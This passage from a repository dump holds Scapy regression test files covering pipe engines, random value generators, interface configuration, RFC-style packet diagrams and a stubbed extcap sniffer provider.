x:x==\"trigger\")\nd2 = TriggeredMessage(\"hello\")\nc = QueueSink()\n\ns > d1 > d2 > c\nd1 ^ d2\n\np = PipeEngine(s)\np.start()\n\ns.send(\"trigger\")\n\nr = [c.q.get(timeout=5), c.q.get(timeout=5)]\nassert \"hello\" in r\nassert \"trigger\" in r\n\np.stop()\n\n= TriggerDrain and TriggeredQueueingValve on low channel\n\np = PipeEngine()\n\ns = CLIFeeder()\nr, w = os.pipe()\n\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredQueueingValve()\nc = QueueSink(name=\"c\")\ns > d1 > d2 > c\nd1 ^ d2\n\np.add(s)\np.start()\n\ns.send(\"trigger\")\ns.send(\"hello\")\ns.send(\"trigger\")\nassert c.q.get(timeout=3) == \"trigger\"\nassert c.q.get(timeout=3) in ['hello', 'trigger']\nassert c.q.get(timeout=3) in ['hello', 'trigger']\nassert d2.q.qsize() == 0\n\np.stop()\n\n= TriggerDrain and TriggeredQueueingValve on high channel\n\np = PipeEngine()\n\ns = CLIHighFeeder()\nr, w = os.pipe()\n\nd1 = TriggerDrain(lambda x:x==\"trigger\")\nd2 = TriggeredQueueingValve()\nc = QueueSink(name=\"c\")\ns >> d1 >> d2 >> c\nd1 ^ d2\n\np.add(s)\np.start()\n\ns.send(\"trigger\")\ns.send(\"hello\")\ns.send(\"trigger\")\nassert c.q.get(timeout=3) == \"trigger\"\nassert c.q.get(timeout=3) == \"hello\"\nassert d2.q.qsize() == 0\n\np.stop()\n\n= UDPDrain\n\np = PipeEngine()\n\ns = CLIFeeder()\ns2 = CLIHighFeeder()\nd1 = UDPDrain()\nc = QueueSink()\n\ns > d1 > c\ns2 >> d1 >> c\n\np.add(s)\np.add(s2)\np.start()\n\npkt = DNS()\n\ns.send(IP(src=\"127.0.0.1\")/UDP()/DNS())\ns2.send(pkt)\n\nres = [c.q.get(timeout=2), c.q.get(timeout=2)]\nassert raw(pkt) in res\nres.remove(raw(pkt))\nassert DNS in res[0] and res[0][UDP].sport == 1234\n\np.stop()\n\n= FDSourceSink on a ObjectPipe object\n\nobj = ObjectPipe(\"fdsourcesink\")\nobj.send(\"hello\")\n\ns = FDSourceSink(obj)\nd = Drain()\nc = QueueSink()\ns > d > c\n\ns.push(\"data\")\ns.deliver()\nassert c.q.get(timeout=1) == \"hello\"\n\n= UDPClientPipe and UDPServerPipe\n~ networking needs_root\n\np = PipeEngine()\n\ns = CLIFeeder()\nsrv = UDPServerPipe(name=\"srv\", port=10000)\ncli = UDPClientPipe(name=\"cli\", addr=\"127.0.0.1\", port=10000)\nc = QueueSink(name=\"c\")\n\ns > cli\nsrv > c\n\np.add(s, c)\np.start()\n\ns.send(b\"hello\")\np.start()\nassert c.recv() == b\"hello\"\np.stop()\nsrv.stop()\n\n= TCPConnectPipe networking test\n~ networking needs_root\n\np = PipeEngine()\n\ns = CLIFeeder()\nd1 = TCPConnectPipe(addr=\"www.google.com\", port=80)\nc = QueueSink()\n\ns > d1 > c\n\np.add(s)\np.start()\n\nfrom scapy.layers.http import HTTPRequest, HTTP\ns.send(bytes(HTTP()/HTTPRequest(Host=\"www.google.com\")))\nresult = c.q.get(timeout=10)\np.stop()\n\nresult\nassert result.startswith(b\"HTTP/1.1 200 OK\") or result.startswith(b\"HTTP/1.1 302 Found\")\n\n"
  },
  {
    "path": "test/random.uts",
    "content": "% Regression tests for Scapy random objects\n\n############\n############\n+ Random objects\n\n= RandomEnumeration\n\nren = RandomEnumeration(0, 7, seed=0x2807, forever=False)\n[x for x in ren] == [5, 0, 2, 7, 6, 3, 1, 4]\n\n= RandIP6\n\nrandom.seed(0x2807)\nr6 = RandIP6()\nassert r6 == \"240b:238f:b53f:b727:d0f9:bfc4:2007:e265\"\nassert r6.command() == \"RandIP6()\"\n\nrandom.seed(0x2807)\nr6 = RandIP6(\"2001:db8::-\")\nassert r6 == \"2001:0db8::b53f\"\nassert r6.command() == \"RandIP6(ip6template='2001:db8::-')\"\n\nr6 = RandIP6(\"2001:db8::*\")\nassert r6 == \"2001:0db8::bfc4\"\nassert r6.command() == \"RandIP6(ip6template='2001:db8::*')\"\n\n= RandMAC\n\nrandom.seed(0x2807)\nrm = RandMAC()\nassert rm == \"24:23:b5:b7:d0:bf\"\nassert rm.command() == \"RandMAC()\"\n\nrm = RandMAC(\"00:01:02:03:04:0-7\")\nassert rm == \"00:01:02:03:04:01\"\nassert rm.command() == \"RandMAC(template='00:01:02:03:04:0-7')\"\n\n\n= RandOID\n\nrandom.seed(0x2807)\nrand_obj = RandOID()\nassert rand_obj == \"7.222.44.194.276.116.320.6.84.97.31.5.25.20.13.84.104.18\"\nassert rand_obj.command() == \"RandOID()\"\n\nrand_obj = RandOID(\"1.2.3.*\")\nassert rand_obj == \"1.2.3.41\"\nassert rand_obj.command() == \"RandOID(fmt='1.2.3.*')\"\n\nrand_obj = RandOID(\"1.2.3.0-28\")\nassert rand_obj == \"1.2.3.12\"\nassert rand_obj.command() == \"RandOID(fmt='1.2.3.0-28')\"\n\nrand_obj = RandOID(\"1.2.3.0-28\", depth=RandNumExpo(0.2), idnum=RandNumExpo(0.02))\nassert rand_obj.command() == \"RandOID(fmt='1.2.3.0-28', depth=RandNumExpo(lambd=0.2), idnum=RandNumExpo(lambd=0.02))\"\n\n= RandRegExp\n~ not_pyannotate\n\nrandom.seed(0x2807)\nrex = RandRegExp(\"[g-v]* @? [0-9]{3} . (g|v)\")\nbytes(rex) == b'irrtv @ 517 \\xc2\\xb8 v'\nassert rex.command() == \"RandRegExp(regexp='[g-v]* @? [0-9]{3} . (g|v)')\"\n\nrex = RandRegExp(\"[:digit:][:space:][:word:]\")\nassert re.match(b\"\\\\d\\\\s\\\\w\", bytes(rex))\n\n= Corrupted(Bytes|Bits)\n\nrandom.seed(0x2807)\ncb = CorruptedBytes(\"ABCDE\", p=0.5)\nassert cb.command() == \"CorruptedBytes(s='ABCDE', p=0.5)\"\nassert sane(raw(cb)) in [\".BCD)\", \"&BCDW\"]\n\ncb = CorruptedBits(\"ABCDE\", p=0.2)\nassert cb.command() == \"CorruptedBits(s='ABCDE', p=0.2)\"\nassert sane(raw(cb)) in [\"ECk@Y\", \"QB.P.\"]\n\n= RandEnumKeys\nrandom.seed(0x2807)\nrek = RandEnumKeys({'a': 1, 'b': 2, 'c': 3}, seed=0x2807)\nrek.enum.sort()\nassert rek.command() == \"RandEnumKeys(enum=['a', 'b', 'c'], seed=10247)\"\nr = str(rek)\nassert r == 'a'\n\n= RandSingNum\nrandom.seed(0x2807)\nrs = RandSingNum(-28, 7)\nassert rs._fix() in [2, 3]\nassert rs.command() == \"RandSingNum(mn=-28, mx=7)\"\n\n= Rand*\nrandom.seed(0x2807)\nrss = RandSingString()\nassert rss == \"foo.exe:\"\nassert rss.command() == \"RandSingString()\"\n\nrandom.seed(0x2807)\nrts = RandTermString(4, \"scapy\")\nassert sane(raw(rts)) in [\"...Zscapy\", \"$#..scapy\"]\nassert rts.command() == \"RandTermString(size=4, term=b'scapy')\"\n\n= RandInt (test __bool__)\na = \"True\" if RandNum(False, True) else \"False\"\nassert a in [\"True\", \"False\"]\n\n= Various volatiles\n\nrandom.seed(0x2807)\nrng = RandNumGamma(1, 42)\nassert rng._fix() in (8, 73)\nassert rng.command() == \"RandNumGamma(alpha=1, beta=42)\"\n\nrandom.seed(0x2807)\nrng = RandNumGauss(1, 42)\nassert rng._fix() == 8\nassert rng.command() == \"RandNumGauss(mu=1, sigma=42)\"\n\nrenum = RandEnum(1, 42, seed=0x2807)\nassert renum == 37\nassert renum.command() == \"RandEnum(min=1, max=42, seed=10247)\"\n\nrp = RandPool((IncrementalValue(), 42), (IncrementalValue(), 0))\nassert rp == 0\nassert rp.command() == \"RandPool((IncrementalValue(), 42), (IncrementalValue(), 0))\"\n\nde = DelayedEval(\"3 + 1\")\nassert de == 4\nassert de.command() == \"DelayedEval(expr='3 + 1')\"\n\nv = IncrementalValue(restart=2)\nassert v == 0 and v == 1 and v == 2 and v == 0\nassert v.command() == \"IncrementalValue(restart=2)\"\n"
  },
  {
    "path": "test/regression.uts",
    "content": "% Regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n+ Information on Scapy\n\n= Setup\ndef expect_exception(e, c):\n    try:\n        c()\n        return False\n    except e:\n        return True\n\n= Get conf\n~ conf command\n* Dump the current configuration\nconf\n\nIP().src\nconf.loopback_name\n\n= Test module version detection\n~ conf\n\nclass FakeModule(object):\n    __version__ = \"v1.12\"\n\nclass FakeModule2(object):\n    __version__ = \"5.143.3.12\"\n\nclass FakeModule3(object):\n    __version__ = \"v2.4.2.dev42\"\n\nfrom scapy.config import _version_checker\n\nassert _version_checker(FakeModule, (1,11,5))\nassert not _version_checker(FakeModule, (1,13))\n\nassert _version_checker(FakeModule2, (5, 1))\nassert not _version_checker(FakeModule2, (5, 143, 4))\n\nassert _version_checker(FakeModule3, (2, 4, 2))\n\n= Check Scapy version\n\nfrom unittest import mock\n\nimport scapy\nfrom scapy import _parse_tag, _version_from_git_describe\nfrom scapy.config import _version_checker\n\nb = Bunch(returncode=0, communicate=lambda *args, **kargs: (b\"v2.4.5rc1-261-g44b98e14\", None))\nwith mock.patch('scapy.subprocess.Popen', return_value=b):\n    with mock.patch('scapy.os.path.isdir', return_value=True):\n        class GitModuleScapy(object):\n            __version__ = _version_from_git_describe()\n\n# GH3847\nwith mock.patch('scapy.subprocess.Popen', return_value=b):\n    with mock.patch('scapy.os.path.isdir', return_value=False):\n        try:\n            _version_from_git_describe()\n            assert False\n        except ValueError:\n            pass\n\nassert GitModuleScapy.__version__ == '2.4.5rc1.dev261'\nassert _version_checker(GitModuleScapy, (2, 4, 5))\n\n= List layers\n~ conf command\nls()\n\n= List layers - advanced\n~ conf command\n\nwith ContextManagerCaptureOutput() as cmco:\n    ls(\"IP\", case_sensitive=True)\n    result_ls = cmco.get_output().split(\"\\n\")\n\nassert all(\"IP\" in x for x in result_ls if x.strip())\nassert len(result_ls) >= 3\n\n= List packet fields - ls\n~ command\n\nwith ContextManagerCaptureOutput() as cmco:\n    ls(ARP(hwsrc=\"aa:aa:aa:aa:aa:aa\", psrc=\"1.1.1.1\"))\n    result_ls = cmco.get_output().split(\"\\n\")\n\nresult_ls\nassert result_ls[5] == \"hwsrc      : MultipleTypeField (SourceMACField, StrFixedLenField) = 'aa:aa:aa:aa:aa:aa' ('None')\"\nassert result_ls[6] == \"psrc       : MultipleTypeField (SourceIPField, SourceIP6Field, StrFixedLenField) = '1.1.1.1'       ('None')\"\n\n= List commands\n~ conf command\nlsc()\n\n= List contribs\n~ command\ndef test_list_contrib():\n    with ContextManagerCaptureOutput() as cmco:\n        list_contrib()\n        result_list_contrib = cmco.get_output()\n    assert \"http2               : HTTP/2 (RFC 7540, RFC 7541)              status=loads\" in result_list_contrib\n    assert len(result_list_contrib.split('\\n')) > 40\n\ntest_list_contrib()\n\n= Test packet show() on LatexTheme\n% with LatexTheme\n\nclass SmallPacket(Packet):\n    fields_desc = [ByteField(\"a\", 0)]\n\nconf_color_theme = conf.color_theme\nconf.color_theme = LatexTheme()\npkt = SmallPacket()\nwith ContextManagerCaptureOutput() as cmco:\n    pkt.show()\n    result = cmco.get_output().strip()\n\nassert result == '\\\\#\\\\#\\\\#[ \\\\textcolor{red}{\\\\bf SmallPacket} ]\\\\#\\\\#\\\\#\\n  \\\\textcolor{blue}{a}         = \\\\textcolor{purple}{0}'\nconf.color_theme = conf_color_theme\n\n\n= Test rfc()\n~ command\n\ndat = rfc(IP, ret=True).split(\"\\n\")\nassert dat[0].replace(\" \", \"\").strip() == \"0123\"\nassert \"0123456789\" in dat[1].replace(\" \", \"\")\nfor l in dat:\n    # only upper case and +-\n    assert re.match(r\"[A-Z+-]*\", l)\n\n# Add a space before each + to avoid conflicts with UTscapy !\n# They will be stripped below\nresult = \"\"\"\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |VERSION|  IHL  |      TOS      |              LEN              |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |               ID              |FLAGS|           FRAG          |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |      TTL      |     PROTO     |             CHKSUM            |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |                              SRC                              |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |                              DST                              |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |            OPTIONS            |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n                             Fig. IP\n\"\"\".strip()\nresult = [x.strip() for x in result.split(\"\\n\")]\noutput = [x.strip() for x in rfc(IP, ret=True).strip().split(\"\\n\")]\nassert result == output\n\nresult = \"\"\"\n  0                   1                   2                   3\n  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |      CODE     |       ID      |              LEN              |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |      TYPE     |L|M|S|RES|VERSI|          MESSAGE LEN          |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |                               |              DATA             |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n                           Fig. EAP_TTLS\n\"\"\".strip()\nresult = [x.strip() for x in result.split(\"\\n\")]\noutput = [x.strip() for x in rfc(EAP_TTLS, ret=True).strip().split(\"\\n\")]\nassert result == output\n\n\nresult = \"\"\"\n  0                   1                   2                   3\n  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |VERSION|       TC      |                   FL                  |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |              PLEN             |       NH      |      HLIM     |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |                              SRC                              |\n +                                                               +\n |                                                               |\n +                                                               +\n |                                                               |\n +                                                               +\n |                                                               |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |                              DST                              |\n +                                                               +\n |                                                               |\n +                                                               +\n |                                                               |\n +                                                               +\n |                                                               |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n                             Fig. IPv6\n\"\"\".strip()\nresult = [x.strip() for x in result.split(\"\\n\")]\noutput = [x.strip() for x in rfc(IPv6, ret=True).strip().split(\"\\n\")]\nassert result == output\n\n\nclass TestPad(Packet):\n   fields_desc = [ShortField(\"f0\", 0),\n                  ShortField(\"f1\", 0),\n                  PadField(ByteField(\"f2\", 1), 8),\n                  PadField(ShortField(\"f3\", 0), 4)]\n\n\nresult = \"\"\"\n  0                   1                   2                   3\n  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |               F0              |               F1              |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |       F2      |                    padding                    |\n +-+-+-+-+-+-+-+-+                                               +\n |                                                               |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |               F3              |            padding            |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n                            Fig. TestPad\n\"\"\".strip()\nresult = [x.strip() for x in result.split(\"\\n\")]\noutput = [x.strip() for x in rfc(TestPad, ret=True).strip().split(\"\\n\")]\nassert result == output\n\n= Check that all contrib modules are well-configured\n~ command\nlist_contrib(_debug=True)\n\n= Configuration\n~ conf\nconf.debug_dissector = True\n\n= Configuration conf.use_* LINUX\n~ linux\n\ntry:\n    conf.use_bpf = True\n    assert False\nexcept:\n    True\n\nassert not conf.use_bpf\n\n= Configuration conf.use_* WINDOWS\n~ windows\n\ntry:\n    conf.use_bpf = True\n    assert False\nexcept:\n    True\n\nassert not conf.use_bpf\n\n= Configuration conf.use_pcap\n~ linux libpcap\n\nif not conf.use_pcap:\n    assert not conf.iface.provider.libpcap\n    conf.use_pcap = True\n    assert conf.iface.provider.libpcap\n    for iface in conf.ifaces.values():\n        assert iface.provider.libpcap or iface.is_valid() == False\n    conf.use_pcap = False\n    assert not conf.iface.provider.libpcap\n\n= Test layer filtering\n~ filter\n\npkt = NetflowHeader()/NetflowHeaderV5()/NetflowRecordV5()\n\nconf.layers.filter([NetflowHeader, NetflowHeaderV5])\nassert NetflowRecordV5 not in NetflowHeader(bytes(pkt))\n\n# Conf.ifaces.reload() should still work (arch/* is exempt)\nconf.ifaces.reload()\n\nconf.layers.unfilter()\nassert NetflowRecordV5 in NetflowHeader(bytes(pkt))\n\n\n###########\n###########\n= UTscapy route check\n* Check that UTscapy has correctly replaced the routes. Many tests won't work otherwise\n\np = IP().src\np\nassert p == \"127.0.0.1\"\n\n############\n############\n+ Scapy functions tests\n\n= Interface related functions\n\nfrom unittest import mock\n\nconf.iface\n\nget_if_addr(conf.iface)\nget_if_hwaddr(conf.iface)\n\nbytes_hex(get_if_raw_addr(conf.iface))\n\ndef get_dummy_interface():\n    \"\"\"Returns a dummy network interface\"\"\"\n    conf.ifaces._add_fake_iface(\"dummy0\")\n    return \"dummy0\"\n\nget_if_raw_addr(get_dummy_interface())\n\nget_if_list()\n\nget_working_if()\n\nget_if_raw_addr6(conf.iface)\n\n= More Interfaces related functions\n\n# Test name resolution\nold = conf.iface\nconf.iface = conf.iface.name\nassert conf.iface == old\n\nassert isinstance(conf.iface, NetworkInterface)\nassert conf.iface.is_valid()\n\nfrom unittest import mock\n@mock.patch(\"scapy.interfaces.conf.route.routes\", [])\n@mock.patch(\"scapy.interfaces.conf.ifaces.values\")\ndef _test_get_working_if(rou):\n    rou.side_effect = lambda: []\n    assert get_working_if() is None\n\nassert conf.iface + \"a\"  # left +\nassert \"hey! are you, ready to go ? %s\" % conf.iface  # format\nassert \"cuz you know the way to go\" + conf.iface  # right +\n\n_test_get_working_if()\n\n= Test conf.ifaces\n\nconf.iface\nconf.ifaces\n\nassert conf.iface in conf.ifaces.values()\nassert conf.ifaces.dev_from_index(conf.iface.index) == conf.iface\nassert conf.ifaces.dev_from_networkname(conf.iface.network_name) == conf.iface\n\nconf.ifaces.data = {'a': NetworkInterface(InterfaceProvider(), {\"name\": 'a', \"network_name\": 'a', \"description\": 'a', \"ips\": [\"127.0.0.1\", \"::1\", \"::2\", \"127.0.0.2\"], \"mac\": 'aa:aa:aa:aa:aa:aa'})}\n\nwith ContextManagerCaptureOutput() as cmco:\n    conf.ifaces.show()\n    output = cmco.get_output()\n\ndata = \"\"\"\nSource   Index  Name  MAC                IPv4       IPv6\nUnknown  0      a     aa:aa:aa:aa:aa:aa  127.0.0.1  ::1\n                                         127.0.0.2  ::2\n\"\"\".strip()\n\noutput = [x.strip() for x in output.strip().split(\"\\n\")]\ndata = [x.strip() for x in data.strip().split(\"\\n\")]\n\nassert output == data\n\nconf.ifaces.reload()\n\n= Test extcap detection in conf.ifaces\n~ linux extcap\n\nimport os\nfrom scapy.libs.extcap import load_extcap\n\n_bkp_extcap = conf.prog.extcap_folders\n_bkp_providers = conf.ifaces.providers.copy()\n\nconf.ifaces.providers.clear()\n\n# Create some sort of extcap parody program\nextcapfld = get_temp_dir()\nextcapprog = os.path.join(extcapfld, \"runner.sh\")\ndata = \"\"\"#!/usr/bin/env python3\n\nimport struct\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('--extcap-interfaces', action='store_true')\nparser.add_argument('--capture', action='store_true')\nparser.add_argument('--extcap-config', action='store_true')\nparser.add_argument('--scan-follow-rsp', action='store_true')\nparser.add_argument('--scan-follow-aux', action='store_true')\nparser.add_argument('--extcap-interface', type=str)\nparser.add_argument('--fifo', type=str)\n\nargs = parser.parse_args()\nif args.extcap_interfaces:\n    # List interfaces\n    print(bytes.fromhex(\"0a657874636170207b76657273696f6e3d342e312e317d7b646973706c61793d6e524620536e696666657220666f7220426c7565746f6f7468204c457d7b68656c703d68747470733a2f2f7777772e6e6f7264696373656d692e636f6d2f536f6674776172652d616e642d546f6f6c732f446576656c6f706d656e742d546f6f6c732f6e52462d536e69666665722d666f722d426c7565746f6f74682d4c457d0a696e74657266616365207b76616c75653d2f6465762f747479555342352d4e6f6e657d7b646973706c61793d6e524620536e696666657220666f7220426c7565746f6f7468204c457d0a636f6e74726f6c207b6e756d6265723d307d7b747970653d73656c6563746f727d7b646973706c61793d4465766963657d7b746f6f6c7469703d446576696365206c6973747d0a636f6e74726f6c207b6e756d6265723d317d7b747970653d73656c6563746f727d7b646973706c61793d4b65797d7b746f6f6c7469703d7d0a636f6e74726f6c207b6e756d6265723d327d7b747970653d737472696e677d7b646973706c61793d56616c75657d7b746f6f6c7469703d3620646967697420706173736b6579206f72203136206f7220333220627974657320656e6372797074696f6e206b657920696e2068657861646563696d616c207374617274696e67207769746820273078272c2062696720656e6469616e20666f726d61742e49662074686520656e7465726564206b65792069732073686f72746572207468616e203136206f722033322062797465732c2069742077696c6c206265207a65726f2d70616464656420696e2066726f6e74277d7b76616c69646174696f6e3d5c625e28285b302d395d7b367d297c2830785b302d39612d66412d465d7b312c36347d297c285b302d39412d46612d665d7b327d5b3a2d5d297b357d285b302d39412d46612d665d7b327d2920287075626c69637c72616e646f6d2929245c627d0a636f6e74726f6c207b6e756d6265723d337d7b747970653d737472696e677d7b646973706c61793d41647620486f707d7b64656661756c743d33372c33382c33397d7b746f6f6c7469703d4164766572746973696e67206368616e6e656c20686f702073657175656e63652e204368616e676520746865206f7264657220696e2077686963682074686520736e6966666572207377697463686573206164766572746973696e67206368616e6e656c732e2056616c6964206368616e6e656c73206172652033372c20333820616e642033392073657061726174656420627920636f6d6d612e7d7b76616c69646174696f6e3d5e5c732a282833377c33387c3339295c732a2c5c732a297b302c327d2833377c33387c3339297b317d5c732a247d7b72657175697265643d747275657d0a636f6e74726f6c207b6e756d6265723d377d7b747970653d627574746f6e7d7b646973706c61793d436c6561727d7b746f6f6c746f703d436c656172206f722072656d6f7665206465766963652066726f6d20446576696365206c6973747d0a636f6e74726f6c207b6e756d6265723d347d7b747970653d627574746f6e7d7b726f6c653d68656c707d7b646973706c61793d48656c707d7b746f6f6c7469703d416363657373207573657220677569646520286c61756e636865732062726f77736572297d0a636f6e74726f6c207b6e756d6265723d357d7b747970653d627574746f6e7d7b726f6c653d726573746f72657d7b646973706c61793d44656661756c74737d7b746f6f6c7469703d52657365747320746865207573657220696e7465726661636520616e6420636c6561727320746865206c6f672066696c657d0a636f6e74726f6c207b6e756d6265723d367d7b747970653d627574746f6e7d7b726f6c653d6c6f676765727d7b646973706c61793d4c6f677d7b746f6f6c7469703d4c6f672070657220696e746572666163657d0a76616c7565207b636f6e74726f6c3d307d7b76616c75653d207d7b646973706c61793d416c6c206164766572746973696e6720646576696365737d7b64656661756c743d747275657d0a76616c7565207b636f6e74726f6c3d307d7b76616c75653d5b30302c30302c30302c30302c30302c30302c305d7d7b646973706c61793d466f6c6c6f772049524b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d307d7b646973706c61793d4c656761637920506173736b65797d7b64656661756c743d747275657d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d317d7b646973706c61793d4c6567616379204f4f4220646174617d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d327d7b646973706c61793d4c6567616379204c544b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d337d7b646973706c61793d5343204c544b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d347d7b646973706c61793d53432050726976617465204b65797d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d357d7b646973706c61793d49524b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d367d7b646973706c61793d416464204c4520616464726573737d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d377d7b646973706c61793d466f6c6c6f77204c4520616464726573737d\").decode())\nelif args.extcap_interface and args.extcap_config:\n    # List config\n    print(bytes.fromhex(\"617267207b6e756d6265723d307d7b63616c6c3d2d2d6f6e6c792d6164766572746973696e677d7b646973706c61793d4f6e6c79206164766572746973696e67207061636b6574737d7b746f6f6c7469703d54686520736e69666665722077696c6c206f6e6c792063617074757265206164766572746973696e67207061636b6574732066726f6d207468652073656c6563746564206465766963657d7b747970653d626f6f6c666c61677d7b736176653d747275657d0a617267207b6e756d6265723d317d7b63616c6c3d2d2d6f6e6c792d6c65676163792d6164766572746973696e677d7b646973706c61793d4f6e6c79206c6567616379206164766572746973696e67207061636b6574737d7b746f6f6c7469703d54686520736e69666665722077696c6c206f6e6c792063617074757265206c6567616379206164766572746973696e67207061636b6574732066726f6d207468652073656c6563746564206465766963657d7b747970653d626f6f6c666c61677d7b736176653d747275657d0a617267207b6e756d6265723d327d7b63616c6c3d2d2d7363616e2d666f6c6c6f772d7273707d7b646973706c61793d46696e64207363616e20726573706f6e736520646174617d7b746f6f6c7469703d54686520736e69666665722077696c6c20666f6c6c6f77207363616e20726571756573747320616e64207363616e20726573706f6e73657320696e207363616e206d6f64657d7b747970653d626f6f6c666c61677d7b64656661756c743d747275657d7b736176653d747275657d0a617267207b6e756d6265723d337d7b63616c6c3d2d2d7363616e2d666f6c6c6f772d6175787d7b646973706c61793d46696e6420617578696c6961727920706f696e74657220646174617d7b746f6f6c7469703d54686520736e69666665722077696c6c20666f6c6c6f772061757820706f696e7465727320696e207363616e206d6f64657d7b747970653d626f6f6c666c61677d7b64656661756c743d747275657d7b736176653d747275657d0a617267207b6e756d6265723d337d7b63616c6c3d2d2d636f6465647d7b646973706c61793d5363616e20616e6420666f6c6c6f772064657669636573206f6e204c4520436f646564205048597d7b746f6f6c7469703d5363616e20666f72206465766963657320616e6420666f6c6c6f772061647665727469736572206f6e204c4520436f646564205048597d7b747970653d626f6f6c666c61677d7b64656661756c743d66616c73657d7b736176653d747275657d\").decode())\nelif args.capture and args.extcap_interface and args.fifo:\n    # Capture\n    pkts = [\n        bytes.fromhex(\"ffffffffffff00000000000008004500001c0001000040117cce7f0000017f0000010035003500080172\")\n    ]\n    with open(args.fifo, \"wb\", 0) as fd:\n        # header\n        fd.write(\n            struct.pack(\n                \"IHHIIII\",\n                0xa1b2c3d4,\n                2, 4, 0, 0, 65535, 1\n            )\n        )\n        for pkt in pkts:\n            fd.write(struct.pack(\"IIII\", 0, 0, len(pkt), len(pkt)))\n            fd.write(bytes(pkt))\nelse:\n    raise ValueError(\"Bad arguments\")\n\"\"\".strip()\nwith open(extcapprog, \"w\") as fd:\n    fd.write(data)\n\nprint(data)\n\nos.chmod(extcapprog, 0o777)\n\n# Inject and load provider\nconf.prog.extcap_folders = [extcapfld]\nload_extcap()\nprint(conf.ifaces.providers)\nconf.ifaces.reload()\n\n# Now do the tests\niface = conf.ifaces.dev_from_networkname('/dev/ttyUSB5-None')\nassert iface.name == \"nRF Sniffer for Bluetooth LE\"\nsock = iface.l2listen()(iface=iface)\npkts = sock.sniff(timeout=2)\nsock.close()\nassert UDP in pkts[0]\n\nconfig = iface.get_extcap_config()\nassert config[\"arg\"] == [\n    ('0', '--only-advertising', 'Only advertising packets', '', ''),\n    ('1', '--only-legacy-advertising', 'Only legacy advertising packets', '', ''),\n    ('2', '--scan-follow-rsp', 'Find scan response data', 'true', ''),\n    ('3', '--scan-follow-aux', 'Find auxiliary pointer data', 'true', ''),\n    ('3', '--coded', 'Scan and follow devices on LE Coded PHY', 'false', '')\n]\n\n# Restore\nconf.prog.extcap_folders = _bkp_extcap\nconf.ifaces.providers = _bkp_providers\nconf.ifaces.reload()\n\n= Test read_routes6() - default output\n\nroutes6 = read_routes6()\nif WINDOWS:\n    from scapy.arch.windows import _route_add_loopback\n    _route_add_loopback(routes6, True)\n\nroutes6\n\n# Expected results:\n# - one route if there is only the loopback interface\n# - one route if IPv6 is supported but disabled on network interfaces\n# - three routes if there is a network interface\n# - on OpenBSD, only two routes on lo0 are expected\n\nif routes6:\n    iflist = get_if_list()\n    if WINDOWS:\n        from scapy.arch.windows import _route_add_loopback\n        _route_add_loopback(ipv6=True, iflist=iflist)\n    if OPENBSD:\n        len(routes6) >= 2\n    elif iflist == [conf.loopback_name]:\n        len(routes6) == 1\n    elif len(iflist) >= 2:\n        